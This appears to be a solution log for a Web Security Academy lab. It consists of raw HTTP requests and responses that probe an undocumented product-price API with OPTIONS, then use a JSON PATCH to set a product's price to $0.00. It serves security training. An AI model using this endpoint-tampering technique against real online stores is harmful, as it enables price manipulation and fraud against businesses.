Lab: Finding and exploiting an unused API endpoint
https://portswigger.net/web-security/api-testing/lab-exploiting-unused-api-endpoint
Allowed Methods
Request
OPTIONS /api/products/1/price HTTP/2
Host: 0a610086033319fc816139a900c30097.web-security-academy.net
Cookie: session=vNkx9KHm939D5gD29nMdIBVNTdQTgjD0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: de-DE
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a610086033319fc816139a900c30097.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Response
HTTP/2 405 Method Not Allowed
Allow: GET, PATCH
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
"Method Not Allowed"
Supported Content-Type
Request
Patch /api/products/1/price HTTP/2
Host: 0a610086033319fc816139a900c30097.web-security-academy.net
Cookie: session=vNkx9KHm939D5gD29nMdIBVNTdQTgjD0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: de-DE
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a610086033319fc816139a900c30097.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Response
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 93
{"type":"ClientError","code":400,"error":"Only 'application/json' Content-Type is supported"}
Patch Price
Request
Patch /api/products/1/price HTTP/2
Host: 0a610086033319fc816139a900c30097.web-security-academy.net
Cookie: session=vNkx9KHm939D5gD29nMdIBVNTdQTgjD0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: de-DE
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a610086033319fc816139a900c30097.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Content-Length: 11
Content-Type: application/json;charset=UTF-8
{"price":0}
Response
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17
{"price":"$0.00"}
Last updated